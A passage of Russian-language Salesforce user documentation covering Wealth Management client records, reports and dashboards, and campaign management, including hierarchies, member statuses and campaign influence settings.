разным группам клиентов. Например, выберите списковое представление «Мои основные клиенты» для просмотра
списка клиентов, имеющих самый высокий рейтинг.

Сведения о клиентах
Страницасведенийоклиенте содержит группыполей, предназначенныхспециальнодляклиентов Wealth Management.
Например, одинизразделовможетсодержатьпредпочтенияклиентавнесколькихкатегориях (домаотдыха, розничные
продажи, зрелищные мероприятия, гольф и внутренняя политика).

Связанный список «Финансовые организации»
Данный связанный список содержит общие сведения о финансовых организациях клиента (например, имена
организаций, номера организаций и текущие значения). Данные сведения извлекаются из записей на вкладке
«Финансовые организации».

Связанный список «Фонды»
Данный связанный список содержит общие сведения о собственных активах клиента (например, денежные средства,
акции и облигации). При необходимости просмотрите для каждого фонда такие сведения, как рыночная цена,
последняя цена, цена покупки и количество акций. Данные сведения извлекаются из записей на вкладке «Фонды».
Обратите внимание, что каждыйфонд имеет связанную запись финансовой организации.

Связанный список «Интересы клиента»
Данный связанный список содержит общие сведения о ценных бумагах, покупка или продажа которых интересует
клиента. Данные сведения извлекаются из записей на вкладке «Интересы клиента».

Связанный список «Получение знаний о клиентах»
Данный связанный список содержит общие сведения о формах получения знаний, связанных с клиентом. Данные
сведения извлекаются из записей на вкладке «Получение знаний о клиентах».

Связанный список «Взаимосвязи»
Взаимосвязью считается клиент, выполняющий определенную роль в жизни другого клиента (например, супруг,
ребенок, бухгалтерилиюрист). Взаимосвязиотслеживаютсяпосредствомсвязанногосписка «Взаимосвязи» настранице
сведений о клиенте; данный связанный список доступен по запросу. В стандартной терминологии Salesforce
взаимосвязяминазываютсяпартнеры. Темнеменее, Salesforce for Wealth Managementиспользует термин «взаимосвязи».

Связанный список «Группы, работающие с клиентами»
Данный связанный список содержит финансовых консультантов и других пользователей Salesforce, участвующих в
процессе управления отдельным клиентом. В стандартной терминологии Salesforce группами, работающими с
клиентами, называются группы, работающиесорганизациями. Темнеменее, Salesforce for Wealth Managementиспользует
термин «группы, работающие с клиентами».

Связанный список «Участники группы взаимосвязи»
Данныйсвязанныйсписокотображает группывзаимосвязи, участникомкоторыхявляется клиент. Данныйсвязанный
список доступен по запросу и иногда использует другое название.

СМ. ТАКЖЕ:

Общие сведения о Salesforce for Wealth Management

Навигация по приложению Salesforce for Wealth Management
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Отчеты и панели мониторинга Salesforce for Wealth Management

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

И

«Чтение» для записей,
добавленных в отчеты

Для просмотра панелей
мониторинга:
• «Запуск отчетов»

И

Доступ для просмотра
папок панелей
мониторинга

Отчеты Salesforce for Wealth Management

Решение Salesforce for Wealth Management предлагает отчеты по отрасли, которые
распределены по группам в соответствующих папках на вкладке «Отчеты»:

• Отчеты по клиентам

• Отчеты по интересам клиентов

• Отчеты по финансам

• Отчеты по владениям и активам WM

• Отчеты по изучению клиентов

Дляполучениядоступакотчетамвыберите соответствующуюпапкувраскрывающемся
меню «Отчеты» ищелкните название нужного отчета.

Панели мониторинга Salesforce for Wealth Management

РешениеSalesforce for Wealth Managementпредлагаетпанелимониторинга, разработанные
с учетом специфики отрасли, например, панель мониторинга финансовых счетов,
котораяпозволяет анализировать сведенияо клиентскихсчетах. Чтобыполучитьдоступ
к панелям, откройте вкладку «Панели мониторинга» ищелкните название нужной панели в раскрывающемся меню.

Прим.: Снимок панели мониторинга появится на вкладке «Начальная страница».

СМ. ТАКЖЕ:

Общие сведения о Salesforce for Wealth Management

Навигация по приложению Salesforce for Wealth Management
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Формирование групп взаимосвязи клиентов

Проведение кампаний и создание интересов

Планирование, управление и отслеживание кампаний

Кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Управляйте внешними маркетинговыми кампаниями с помощью прямых почтовых
рассылок, семинаров, печатныхобъявлений, эл. почтыилидругих типовмаркетинговых
инициатив. Организовывайте кампании в иерархии для удобного анализа того, что
наиболее эффективно работает для увеличения продаж компании.

Salesforce позволяет быстро и удобно находить, управлять и создавать отчеты по
кампаниям.

СМ. ТАКЖЕ:

Начальная страница кампаний
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Начальная страница кампаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Кампании»:
• «Чтение» для кампаний

Для просмотра кампаний:
• «Чтение» для кампаний

Для создания кампаний:
• «Создание» для

кампаний

Привыборевкладки «Кампании» отображаетсяначальнаястраницакампаний. Начальная
страница кампаний доступна всем пользователям.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений. Чтобы изменить или удалить любое созданное представление,
выберите еговраскрывающемсясписке «Просмотр» ищелкнитессылку «Правка».

• Чтобы просмотреть краткий список кампаний, соответствующих заданному
критерию, выберите элемент раскрывающегося списка в разделе «Недавние
кампании». Чтобы просмотреть сведения о кампании, выберите имя нужной
кампанииизсписка. Чтобыизменитьколичествоотображаемыхэлементов, выберите
ссылку«Показать 25 элем.»или«Показать 10 элем.». Доступныеполяопределяются
макетом поиска «Вкладка "Кампании"», заданным администратором, и параметрами
безопасности полей, заданными пользователем (только в версиях Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition). Нижеперечисленыкритерии
фильтрации, доступные в разделе «Недавние кампании».

ОписаниеЗначение списка «Недавние
кампании»

Последние 10 или 25 кампаний,
просмотренных пользователем; самые
последние просмотренные кампании
отображаются в списке первыми.
Данный список формируется на основе
недавних элементов и содержит записи,

Недавно просмотренные

за которые несут ответственность
текущий и другие пользователи.

Последние 10 или 25 кампаний,
помеченных как активные; самые

Мои активные кампании

последние созданные кампании
отображаются в списке первыми.
Данный список содержит записи, за
которые несет ответственность только
текущий пользователь.

• Чтобы добавить новую кампанию, нажмите кнопку «Создать» в разделе «Недавние кампании».

• Чтобы открыть отчет, щелкните имя нужного отчета в разделе «Отчеты».

СМ. ТАКЖЕ:

Кампании
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Просмотр иерархий кампаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра кампаний:
• «Чтение» для кампаний

Иерархия кампаний позволяет группировать кампании в рамках конкретной
маркетинговойпрограммыилипроекта, чтобыпредоставитьпользователямвозможность
более эффективного анализа связанных маркетинговых мер.

Чтобы просмотреть иерархию, щелкните ссылку «Просмотр иерархии» напротив
поля «Имя кампании» на странице сведенийокампании. Вслучаеотсутствияиерархии
страница «Иерархия кампаний» отображает только выбранную кампанию.

Иерархия кампанийотображает кампании, связанные посредствомполя «Родительская
кампания». Иерархия отображает взаимосвязь между кампаниями (например, группу
кампаний в рамках конкретной маркетинговой тактики). Каждая кампания может иметь
только одну родительскую кампанию, но неограниченное количество одноуровневых
кампаний, аиерархия кампанийможет содержатьнеболеепятиуровнейилипоколений.
Другими словами, максимальная глубина иерархии составляет пять уровней, тогда как
ширина каждого уровня не ограничивается. Участники кампании (например, контакты
и интересы) могут быть добавлены на любой уровень.

Страница «Иерархия кампаний» позволяет отображать взаимосвязь между кампаниями
и родительскими кампаниями. Кампании отображаются в порядке убывания согласно
уровнюиерархии. Чтобыоткрытьстраницусведенийокампании, щелкнитеимянужной
кампании.

Статистика по отдельной кампании отображается в разделе «Статистика по кампании» страницы сведений о кампании.
Сводная статистика для родительских и дочерних кампаний отображается в связанном списке «Иерархия кампаний».

Прим.: Точностьсоставленныхотчетов гарантируетсятольковтомслучае, есливсекампаниивиерархиииспользуют
одинаковую валюту.

СМ. ТАКЖЕ:

Настройка иерархий кампаний

Просмотр статистики по иерархии кампаний
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Просмотр статистики по иерархии кампаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра кампаний:
• «Чтение» для кампаний

Для просмотра иерархий
кампаний:
• «Чтение» для кампаний

Страница сведений о кампании содержит связанный список «Иерархия кампаний»,
который отображает родительскую и все подчиненные ей кампании. Чтобы создать
иерархию кампаний, свяжите кампании посредством поля поиска «Родительская
кампания» на странице сведений о кампании. Чтобы открыть страницу сведений о
кампании, щелкните имя нужной кампании в связанном списке.

Связанныйсписок «Иерархиякампаний» содержитполястатистикидлякаждойкампании,
а также итоговые значения для родительской и всех подчиненных ей кампаний. Поля
статистики отображаются в связанном списке только после включения поддержки
иерархий кампаний в организации. Дополнительнуюинформациюи списокполей см.
в разделе «Настройка иерархий кампаний» на странице 1418.

Связанный список «Иерархия кампаний» содержит не более двух уровней иерархии:
родительская и дочерние кампании. Кампании, подчиняющиеся дочерней кампании,
не отображаются в связанном списке, но их данные добавляются в значения полей
статистики. Поля статистики содержат сводные данные, независимо от наличия у
пользователяправобщегодоступадляпросмотраотдельныхкампанийиерархии. Однако
при отсутствии прав доступа к кампании, которая отображается в связанном списке,
пользовательнеможетоткрыть страницу сведенийпоссылке в связанномсписке. Чтобы
просмотреть все уровнииерархии кампаний, щелкните ссылку «Просмотриерархии»
напротив поля «Имя кампании» на странице сведений о кампании.

СМ. ТАКЖЕ:

Отображение и редактирование кампаний

Поля кампаний
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Отображение и редактирование кампаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
кампаний:
• «Чтение» для кампаний

Для изменения кампаний:
• «Редактирование» для

кампаний

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Отображение кампаний
Чтобыпросмотретьподробныесведенияокампании, щелкнитеимянужнойкампании
на начальной странице соответствующей вкладки или на страницах со списками.
Принеобходимостивыберитеимякампаниивсвязанномсписке «Журналкампании»
связанногоинтереса, контактаилиорганизации-лица. Есливорганизациивключена
поддержкавсплывающихсведений, наведитеуказательмышиналюбоеполепоиска
страницы сведений, чтобы просмотреть ключевую информацию о записи до
открытия соответствующей страницы сведений.

Редактирование кампаний
Чтобы обновить кампанию, нажмите кнопку «Правка» и обновите нужные поля.
Позавершениинажмитекнопку«Сохранить». Чтобысохранитьтекущуюкампанию
и добавить новую, нажмите кнопку «Сохранить и создать».

Чтобы изменить значения полей прямо на странице сведений, воспользуйтесь
функцией встроенного редактирования. Чтобы включить функцию встроенного
редактирования, обратитесь к администратору.

Прим.: Редактирование кампании, являющейся потомком другой кампании,
доступно только при наличии полномочия «Чтение» для родителя.

Создание иерархии кампаний
Присозданииилиредактированиикампанииполепоиска «Родительская кампания»
позволяет назначить родительскую кампанию. Диалоговое окно поиска позволяет
находить текущие кампании или создавать новые родительские кампании.
Дополнительную информацию о настройке иерархий кампаний для организации
см. в разделе «Настройка иерархий кампаний» на странице 1418.

Вычисление статистики по кампании
Подробныесведенияо кампаниисодержатполя статистики, которые автоматически
обновляются и используют значения из всех связанных записей, независимо от
доступности данных записей для чтения. Если в организации включена поддержка
иерархий кампаний, то связанный список «Иерархия кампаний» содержит сводную
статистику для родительской кампании и всех подчиненных ей кампаний.

Прим.: Процессвычислениястатистикипокампаниивыполняетсякаждыедвеминутыиодновременноохватывает
только статистику по одной кампании. Если очередь содержит большое количество кампаний или кампании с
большим количеством участников, то вычисление может быть отложено на 10 или более минут.

Связывание контактов, интересов или организаций-лиц с кампаниями
Нажмите раскрывающуюся кнопку «Управлениеучастниками»на странице сведенийо кампаниии выберите одно
из указанных ниже значений.

• «Добавить участников — поиск»: добавление участников кампании из результатов поиска.

• «Добавить участников — импортфайла»: добавление участников кампании путем импорта интересов из
CSV-файла.

• «Редактировать участников — поиск»: просмотр, обновление или удаление текущих участников кампании.

• «Обновитьидобавитьучастников — импортфайла»: редактированиестатуса участникакампаниипосредством
файла импорта.
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Дополнительные параметры
Чтобы настроить значения поля кампании «Статус участника», нажмите кнопку «Дополнительные параметры».
См. раздел «Настройка параметров кампании» на странице 1417.

Связанные списки кампаний

• Чтобыпросмотреть соответствующийсвязанныйсписокиего записи, наведите указательмышинанужнуюссылку
в верхней части страницы сведений. Если включена поддержка Chatter, то всплывающие ссылки отображаются
под лентой. Интерактивная область наложения позволяет пользователямпросматривать и управлять элементами
связанного списка. Чтобы перейти к содержимому связанного списка, щелкните соответствующую ссылку. Если
всплывающие ссылки недоступны, обратитесь к администратору Salesforce.

• В нижней части страницы сведений отображаются связанные списки кампании, включая действия, вложения,
участников кампании, иерархии кампаний и возможности, добавленные в результате проведения кампании.
Доступные связанные списки определяются персональными настройками пользователя и параметрами макетов
страниц или полномочиями на просмотр связанных данных. Чтобы просмотреть дополнительные сведения об
отдельном элементе, щелкните имянужного элемента. Чтобыпросмотреть дополнительные элементы, щелкните
ссылку «больше» внизу страницы или «Подробнее» под связанным списком.

Печать кампаний
Чтобыоткрытьпечатнуюверсиюстраницысведенийокампании, щелкнитессылку «Версиядляпечати»настранице
сведений о кампании. Рекомендуем воспользоваться функцией печати, доступной в обозревателе.

Общий доступ
Чтобыпредоставить другимпользователям, группамилиролямобщийдоступ к кампании, нажмите кнопку «Общий
доступ». См. раздел «Предоставление общего доступа к кампаниям» на странице 1446.

Чтобыоткрытьпоследнююпросмотреннуюстраницу со списком, щелкните ссылку «Назадксписку», расположенную
вверхнейчастилюбойстраницысведенийокампании. Есливорганизациивключенаподдержка свертываемыхразделов,
щелкнитезначокстрелкинапротивнужногозаголовка, чтобыразвернутьилисвернутьсоответствующийразделстраницы
сведений.
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Настройка параметров кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра кампаний:
• «Чтение» для кампаний

Для настройки значений
статуса участника:
• «Редактирование» для

кампаний

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Пользователи Marketing должны определить значения параметра «Статус участника»
для каждой кампании. Данные значения соответствуют статусам интересов, контактов
или организаций-лиц, доступным в кампании. Например, для конференциимогут быть
заданы значения «Запланировано», «Приглашение отправлено» и «Посетил».

Привилегии пользователя для настройки параметров кампании
• Дополнительные параметры кампании доступны всем пользователям. Ниже

перечислены условия редактирования дополнительных параметров.

– Флажок «Пользователь Marketing», установленный на странице сведений о
пользователе

– Полномочие «Редактирование» для кампаний

– Доступ «Для чтения и записи» к кампаниям

• При замене значений статуса участника все кампании обновляются независимо от
уровня общего доступа к связанным контактам или интересам.

Определение значений статуса участника
По умолчанию новые кампании поддерживают два статуса участника: «Отправлено» и
«Отвечено». Пользователи могут редактировать текущие статусы или добавлять новые.

1. Нажмитекнопку«Дополнительныепараметры»настраницесведенийокампании.

2. Нажмите кнопку «Правка».

3. Обновите текущие значения или добавьте новые.

4. Чтобы добавить дополнительные значения, щелкните ссылку «Добавить».
Разрешается добавить не более 50 значений.

5. Выберите значение по умолчанию.

6. Установите флажок «Отвечено» напротив нужных значений. Участники со
значениями «Отвечено» подсчитываются в поле кампании «Всего ответов».

Прим.: Изменениефлажка «Отвечено» может иметь значительные последствия. Установка или снятиефлажка
«Отвечено» приводит к изменению статистики по кампании и сведений об участнике кампании. А именно:
изменяютсяполяучастникакампании «Отвечено», «Дата последнего ответа» и «Дата последнего изменения».
Например, если флажок «Отвечено» устанавливается напротив статуса «Посетил», то текущие участники
кампании со статусом «Посетил» учитываются в статистике по кампании в качестве ответов, а перечисленные
выше поля дат обновляются.

Замена значений статуса участника
Значения параметра «Статус участника» могут быть глобально заменены для каждого участника кампании. Например,
значение «Приходил» может быть заменено более подходящим значением «Посетил».

1. Нажмите кнопку «Дополнительные параметры» на странице сведений о кампании.

2. Нажмите кнопку «Заменить» в связанном списке «Значения статуса участника».

3. Введите нужное значение и выберите новое значение.
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4. Нажмите кнопку «Сохранить».

Прим.: Изменение статуса участника кампании не инициирует пересчет полей сводного резюмирования, либо
выполнение бизнес-правил, триггеров или правил проверки.

Настройка иерархий кампаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания иерархии
кампаний:
• «Создание» для

кампаний

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Для настройки иерархий
кампаний:
• «Настройка

приложения»

Анализируйте и создавайте отчеты по состоянию связанных кампаний. Пользователи
могут группировать кампании в рамках конкретной маркетинговой программы или
проекта путем связывания кампаний посредством взаимосвязи поиска.

Иерархиисодержатдопяти уровней. Каждая кампанияможетиметьоднуродительскую
кампанию, но неограниченное количество одноуровневых кампаний.

Чтобынастроить иерархии кампаний, добавьте поле «Родительская кампания» в макет
страницы кампании и включите поддержку полей статистики.

Процесс включенияфункции доступности полей определяется используемой версией
Salesforce. В версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer
Edition рекомендуем использовать параметры безопасности поля. По мере настройки
доступности каждого из полей система Salesforce отображает значения полей в строке
«Итого в иерархии» связанного списка «Иерархия кампаний». В версии Professional
Edition рекомендуемдобавитьполя статистикивмакет страницыкампании. Данныеполя
отображаются в макете страницы и строке «Итого в иерархии» связанного списка
«Иерархия кампаний».

Прим.: Поля иерархии кампаний содержат сводные данные для родительской
кампанииивсехподчиненныхейкампаний, независимоотналичияупользователя
прав общего доступа к определенной кампании иерархии. Таким образом, при
включенииполейиерархиикампанийследуетучитыватьпараметрыобщегодоступа
ккампаниям, заданныеворганизации. Чтобыскрытьсводныеданныепоиерархии,
включая недоступные кампании, удалите некоторые или все поля иерархии
кампаний из связанного списка «Иерархия кампаний». Поля иерархии кампаний,
которые не были добавлены в связанный список или макет страницы, доступны
пользователям в отчетах.

После настройки иерархий пользователи могут создавать и назначать родительские
кампаниипосредствомполя «Родительская кампания», а такжепросматривать сведения
об иерархии на странице «Иерархия кампаний» или в связанном списке «Иерархия
кампаний».

Прим.: Все кампании в иерархии должны использовать одинаковую валюту.

Страница «Иерархия кампаний», доступная по ссылке «[Просмотр иерархии]» напротив поля «Имя кампании» на
странице сведений о кампании, содержит все уровни иерархии, а также кампании, добавленные на каждом уровне.
Дополнительную информацию см. в разделе «Просмотр иерархий кампаний» на странице 1413. Связанный список
«Иерархия кампаний» содержит сводные данные для родительской кампании и всех подчиненных ей кампаний.
Дополнительную информацию см. в разделе «Просмотр статистики по иерархии кампаний» на странице 1414.

СМ. ТАКЖЕ:

Настройка параметров кампании

Поля кампаний
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Связывание влияющих кампаний с возможностями

Добавление влияющих кампаний в возможность

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки влияния
кампании:
• «Настройка

приложения»

Для просмотра связанного
списка «Влияние кампании»:
• «Чтение» для кампаний

И

«Чтение» для
возможностей

Для добавления влияющих
кампаний вручную:
• «Чтение» для кампаний

И

«Редактирование» для
возможностей

Пользователи могут связывать отдельные возможности с несколькими влияющими
кампаниями.

Если включена функция автоматического связывания, то влияющие кампании
добавляются в возможности в том случае, если кампания связана с контактом, которому
роль контакта для возможности была назначена до даты закрытия возможности. При
необходимостиукажитедополнительныекритерииавтоматическогосвязывания, включая
интервалвремени, которыйограничиваетвремявлияниякампаниинановуювозможность
датой первого связывания кампании и датой создания возможности. Чтобы вручную
добавить влияющиекампанииввозможности, нажмитекнопку «Добавитькампанию»
в связанном списке «Влияние кампании».

1. Изразделапараметровуправленияобъектамидлявозможностейоткройте страницу
«Макеты страниц».

2. Добавьте связанный список «Влияние кампании» в макет страницы коммерческих
возможностей.

3. Настройте функцию влияния кампании.

СМ. ТАКЖЕ:

Поля кампаний

Поиск по параметрам управления объектами
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Настройка влияния кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки влияния
кампании:
• «Настройка

приложения»

Настройка влияния кампании

Влияющие кампании могут быть настроены на автоматическое добавление в
возможности. Если включена функция автоматического связывания, то влияющие
кампании добавляются в возможности в том случае, если кампания связана с контактом,
которомурольконтактадлявозможностибыланазначенадодатызакрытиявозможности.
Например, электронная рассылка с участием пользователя, которому назначена роль
контакта воткрытойвозможности, добавляется в связанныйсписок «Влияниекампании»
соответствующей возможности.

Поле «Временной интервал влияния кампании» позволяет ограничить время влияния
кампаниидатойпервогосвязываниякампанииидатойсозданиявозможности. Например,
если поле «Временной интервал влияния кампании» содержит 15 дней, а один из
контактов становится участником кампании 1 июня, то кампания влияет на любые
возможности, созданныеи связанные с даннымконтактомдо 15 июня. Чтобынастроить
дополнительные критерии соответствия кампаний для автоматического связывания с
возможностями, воспользуйтесь правилами связывания.

Еслифункцияавтоматическогосвязываниявыключена, товлияющиекампаниидолжны
быть добавлены в возможности вручную посредством связанного списка «Влияние
кампании».

Чтобы настроить функцию автоматического связывания для влияния кампании,
выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Влияние кампании» вполе «Быстрый поиск», затем выберите «Влияниекампании».

2. Установите переключатель «Включено».

3. При необходимости введите максимальное количество дней между датой первого связывания кампании и датой
создания возможности в поле «Временной интервал влияния кампании».

Прим.: Кампании, связанные с контактом до данного временного интервала, не считаются влияющими.
Максимально допустимое значение: 9 999 дней. В противном случае пропустите поле «Временной интервал
влияния кампании».

4. Принеобходимостиопределитедополнительныекритериифильтрации, которымдолжнасоответствовать кампания
для автоматического связывания.

5. Нажмите кнопку «Сохранить».

Кампании, соответствующиезаданнымкритериям, автоматическидобавляютсявсвязанныйсписок «Влияниекампании»
соответствующих возможностей.

Чтобы отключить функцию автоматического связывания для влияния кампании, выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Влияние кампании» вполе «Быстрый поиск», затем выберите «Влияниекампании».

2. Установите переключатель «Отключено».
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3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Добавление влияющих кампаний в возможность

Поля кампаний

Добавление влияющих кампаний в возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра связанного
списка «Влияние кампании»:
• «Чтение» для кампаний

И

«Чтение» для
возможностей

Для добавления влияющих
кампаний вручную:
• «Чтение» для кампаний

И

«Чтение» и
«Редактирование» для
возможностей

Страницысведенийовозможностяхпозволяютнапрямуюуправлятьспискамикампаний,
влияющих на возможности.

Нижеперечисленырекомендацииподобавлениювлияющихкампанийввозможности.

• Возможность может иметь несколько влияющих кампаний, но только одна из них
может быть выбрана в качестве основного источника кампании.

• Кампания, выбраннаявкачествеосновногоисточникакампании, всегдаотображается
в связанном списке «Влияние кампании».

• Поля возможностей в разделе «Статистика по кампании» на странице сведений о
кампании заполняются только для кампании, выбранной в качестве основного
источника. Например, организация проводит кампании по электронной рассылке
ителемаркетингу, влияющиенаоднувозможность, ивыбираетэлектроннуюрассылку
в качестве основного источника кампании. В данном случае поля возможностей в
разделе «Статистикапокампании» заполняютсятолькодлякампаниипоэлектронной
рассылке.

• Приустановкефлажка «Основной источник кампании» поле «Основной источник
кампании» на странице сведений о возможности заполняется именем основной
кампании. Данное изменение может инициировать выполнение бизнес-правил и
правил Apex для возможностей.

• Придобавлениикампанийпосредствомкнопки«Добавитькампанию»всвязанном
списке «Влияние кампании» сведения об участниках кампании не отображаются в
связанном списке.

Чтобы добавить влияющие кампании из связанного списка «Влияние кампании»,
выполните указанные ниже действия.

1. Откройте страницу сведений о возможности.

2. Нажмите кнопку «Добавить кампанию» в связанном списке «Влияние кампании».

3. Введитеимякампаниивполе «Имя кампании» илищелкните значок дляпоиска
нужной кампании.

4. Чтобы выбрать кампанию в качестве основной, установите флажок «Основной
источник кампании».

5. Нажмите кнопку «Сохранить».
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При необходимости настройте критерии фильтрации для автоматического добавления влияющих кампаний в
возможности. Например, пользователь может настроить фильтр для добавления только кампаний по электронным
рассылкам и телемаркетингу.

СМ. ТАКЖЕ:

Добавление влияющих кампаний в возможность

Настройка влияния кампании
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Управление участниками кампании

Пакетное редактирование участников кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Текущие участники»:
• «Редактирование» для

кампаний

И

«Чтение» для интересов
или контактов

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Для обновления и удаления
участников кампании:
• «Редактирование» для

кампаний

И

«Редактирование» для
интересов и контактов

И

Флажок «Пользователь
Marketing»,
установленный на
странице сведений о
пользователе

Редактирование участников кампании на странице «Управление участниками»

Прим.: Прежде чем открыть страницу «Управление участниками», убедитесь в
наличии поддерживаемого обозревателя.

Чтобыобновить статус участника кампании, изменить сведенияоб участнике кампании
или удалить участников кампании на странице «Управление участниками», выполните
указанные ниже действия.

1. Нажмите раскрывающуюся кнопку «Управление участниками» на странице
сведений о кампании или в связанном списке «Участники кампании» и выберите
пункт «Редактировать участников — поиск».

2. Принеобходимостивведитекритериифильтрациинавложеннойвкладке «Текущие
участники» и нажмите кнопку «Начать».

Прим.: Если участники кампании созданы на основе интересов и контактов,
то просмотр всех участников возможен только при наличии полномочия
«Чтение» дляинтересовиконтактов. Приналичииполномочия «Чтение» только
для интересов отображаются участники кампании, созданные из интересов;
при наличии полномочия «Чтение» только для контактов отображаются
участники кампании, созданные из контактов.

3. Установитефлажкинапротивнужныхзаписей. Чтобывыбратьвсе записинатекущей
странице, установите флажок в заголовке столбца.

4. При необходимости выполните указанные ниже действия.

• Чтобы изменить статус участника кампании, выберите нужный статус в
раскрывающемся списке «Обновить статус».

• Чтобы удалить участника из кампании, щелкните ссылку «Удалить».

• Чтобы изменить сведения об участнике кампании, щелкните ссылку «Правка».

• Чтобы просмотреть, изменить, удалить или клонировать участника кампании,
щелкните имя нужного участника кампании в столбце «Имя».

Текущая версия страницы «Управление участниками» не поддерживает режим
доступности. Тем не менее режим доступности позволяет добавлять контакты или
интересы в кампанию, обновлять участников кампании с помощью специальных
мастеров.

СМ. ТАКЖЕ:

Использование связанного списка «Участники кампании»

Пакетное добавление участников кампании

Отображение и редактирование участника кампании
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Использование связанного списка «Участники кампании»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра кампаний:
• «Чтение» для кампаний

Для просмотра связанного
списка «Участники
кампании»:
• «Чтение» для кампаний

И

«Чтение» для интересов
или контактов

Для редактирования
связанного списка
«Участники кампании»:
• «Чтение» для кампаний

И

«Чтение» для интересов
или контактов

Для отображения и
использования кнопки
«Управление
участниками» в связанном
списке «Участники
кампании»:
• «Редактирование» для

кампаний

И

«Чтение» для интересов
или контактов

Связанный список «Участники кампании» позволяет просматривать, добавлять,
редактироватьилиудалятьучастниковкампаниипрямонастраницесведенийокампании.

По умолчанию связанный список «Участники кампании» содержит пять участников.
Чтобы просмотреть других участников, щелкните ссылку «Показать больше».

Прим.: Если участники кампании созданы на основе интересов и контактов, то
просмотр всех участников возможен только при наличии полномочия «Чтение»
для интересов и контактов. При наличии полномочия «Чтение» только для
интересов отображаются участники кампании, созданные из интересов; при
наличии полномочия «Чтение» только для контактов отображаются участники
кампании, созданные из контактов.

Раскрывающаяся кнопка «Управление участниками» в связанном списке «Участники
кампании» и разделе «Сведения о кампании» позволяет находить и добавлять интересы
или контакты в качестве участников кампании, обновлять или удалять текущих
участников, а также добавлять и обновлять участников кампании с помощьюфайла
импорта.

Ниже перечислены действия, доступные в связанном списке «Участники кампании».

• Чтобы просмотреть сведения об участнике кампании, щелкните имя нужного
участника кампании в столбце «Имя», «Личное имя» или «Фамилия».

• Чтобы удалить участника из кампании, щелкните ссылку «Удалить».

• Чтобы изменить сведения об участнике кампании, щелкните ссылку «Правка».

• Нажмите раскрывающуюся кнопку «Управление участниками» и выберите одно
из указанных ниже значений.

– «Добавить участников — поиск»: добавление участников кампании из
результатов поиска.

– «Добавить участников — импортфайла»: добавление участников кампании
путем импорта интересов из CSV-файла.

– «Редактировать участников — поиск»: просмотр, обновление или удаление
текущих участников кампании.

– «Обновитьидобавитьучастников — импортфайла»: редактированиестатуса
участника кампании посредством файла импорта.

СМ. ТАКЖЕ:

Пакетное добавление участников кампании

Пакетное редактирование участников кампании
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Пакетное добавление участников кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления участников
